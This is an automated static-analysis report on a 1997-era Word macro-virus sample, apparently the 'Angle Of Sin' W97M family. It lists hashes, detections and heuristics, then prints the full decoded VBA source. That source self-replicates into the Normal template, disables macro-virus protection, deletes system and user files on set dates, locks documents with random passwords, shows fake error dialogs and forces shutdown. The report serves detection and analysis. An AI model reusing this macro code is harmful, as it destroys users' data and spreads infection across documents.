Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ad889e8bf9acc2d…

MALICIOUS

Office (OLE)

37.0 KB Created: 1997-08-31 07:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e76daeeeca1cefe31d8efc60a548a875 SHA-1: 3f0e8738002badb5c03e9703d0fc349232460098 SHA-256: 9ad889e8bf9acc2de0593102e72b0b7eb8d1cbab11415e433a6a3a0f03816c7a
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Aos-2. It contains legacy WordBasic and VBA macros, including AutoOpen, AutoClose, and AutoNew, which are commonly used to execute malicious code upon document interaction. The VBA script attempts to execute a payload, display fake error messages like 'Printing Error' or 'Insufficent Memory', and calls ExitWindowsEx, indicating a disruptive intent.

Heuristics 6

  • ClamAV: Doc.Trojan.Aos-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Aos-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4989 bytes
SHA-256: df3770533fdcd009dc85e507268c0158bea93dbf2078e837163a3bd6652a5947
Detection
ClamAV: Doc.Trojan.Aos-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AngleOfSin"
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Private Declare Function ExitWindows Lib "user32" (ByVal dwReserved As Long, ByVal uReturnCode As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Sub AutoOpen()
Infect
Infect2
PayLoad
End Sub
Sub AutoClose()
On Error GoTo sin
Infect
Infect2
ActiveDocument.Save
PayLoad
MsgBox "Do Not Close This Document. System Unstable", , "Warning System Unstable. Please Contact Vendor"
ExitWindowsEx 2, ffffffff
sin:
End Sub
Sub FileSaveAs()
On Error GoTo sin

Dialogs(wdDialogFileSaveAs).Show
PayLoad
Infect
Infect2
sin:
End Sub
Sub FileSave()
On Error GoTo sin
PayLoad
Infect
Infect2
ActiveDocument.Save
SwapMouseButton &H2
sin:
End Sub
Sub AutoNew()
On Error GoTo sin
PayLoad
Infect
Infect2
sin:
End Sub
Sub FilePrint()
On Error GoTo sin
PayLoad
MsgBox " Printing Error at Printer Port:089C", , "Printing Error"
MsgBox " Printing Error Reslo"
Dialogs(wdDialogFilePrint).Show
Infect
Infect2
sin:
End Sub
Sub ToolsMacro()
On Error GoTo sin
PayLoad
MsgBox "Insufficent Memory, Stack Error at CS:1000", , "Memory Allocation Error"
Infect
Infect2
sin:
End Sub
Sub FileTemplates()
On Error GoTo sin
PayLoad
Infect
Infect2
MsgBox "Insufficent Memory", , "Insufficent Memory"
MsgBox "Please Close More Programs to Free Up Disk Space And Try Again", , "Retry Later"
sin:
End Sub

Sub PayLoad()
On Error GoTo sin
If Day((Now) = 25) And Month((Now) = 12) Then
ChDir "\"
Kill "*.*"
End If
If Day((Now) = 9) And Month((Now) = 2) Then
    Kill "*.doc"
    Kill "c:\command.com"
    Kill "c:\autoexec.bat"
    Kill "c:\config.sys"
    Kill "c:\windows\*.*"
End If
If Day((Now) = 5) Or Day((Now) = 10) Or Day((Now) = 15) Or Day((Now) = 20) Or Day((Now) = 25) Or Day((Now) = 30) Then
Dim x, y, z, a, b, c, d
x = Rnd * 255: y = Rnd * 255: z = Rnd * 255: a = Rnd * 255: b = Rnd * 255: c = Rnd * 255: d = Rnd * 255
ActiveDocument.Password = "Angle_Of_Sin" & a & b & c & d & x & y & z
Open "c:\windows\system\saos.dll" For Append As #1
Write #1, x, y, z, a, b, c, d, "File", ActiveDocument.Name
Close #1
End If

sin:
End Sub
Sub EditFind()
On Error GoTo sin:
PayLoad
Infect
Infect2
SwapMouseButton &H4
sin:
End Sub

Sub ToolsWordCount()
On Error GoTo sin
Dialogs(wdDialogToolsWordCount).Show
Infect
Infect2
SwapMouseButton &H4
sin:
End Sub
Sub viewVBcode()
On Error GoTo sin
MsgBox "Invalid Memory Segment:CS:1900", , "Memory Allocation Error"
Infect
Infect2
sin:
End Sub
Sub Infect()
On Error GoTo sin
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Angle:

Options.VirusProtection = False

Application.UserName = "Angle Of Sin"
Application.UserInitials = "SiNeR"
Application.UserAddress = "6667 Angle Rd, Heaven S.I.N"
Options.BackgroundSave = False
Options.CreateBackup = False
Options.SendMailAttach = True

Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
GlobalInstalled = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "AngelOfSin" Then
     DocumentInstalled = True
    End If
Next
    
For a = 1 To NormalTemplate.VBProject.VBComponents.Count
 If NormalTemplate.VBProject.VBComponents(a).Name = "AngleOfSin" Then
  GloabalInstalled = True
 End If
Next

If GlobalInstalled = False Then
 Application.OrganizerCopy Source:=ActiveDocument.Name, Destination:=NormalTemplate.Name, Name:="AngleOfSin", Object:=wdOrganizerObjectProjectItems
 Options.SaveNormalPrompt = False
End If

sin:
End Sub
Sub Infect2()
On Error GoTo sin
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Angle:

Options.VirusProtection = False

Application.UserName = "Angle Of Sin"
Application.UserInitials = "SiNeR"
Application.UserAddress = "6667 Angle Rd, Heaven S.I.N"
Options.BackgroundSave = False
Options.CreateBackup = False
Options.SendMailAttach = True
DocumentInstalled = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate

For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "AngelOfSin" Then
     DocumentInstalled = True
    End If
Next
If NormalInstalled = False Then
 Application.OrganizerCopy Source:=NormalTemplate.Name, Destination:=ActiveDocument.Name, Name:="AngleOfSin", Object:=wdOrganizerObjectProjectItems
 ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormalTemplate
End If
sin:
End Sub
Sub SendMail()
On Error GoTo sin
Infect
Infect2
sin:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.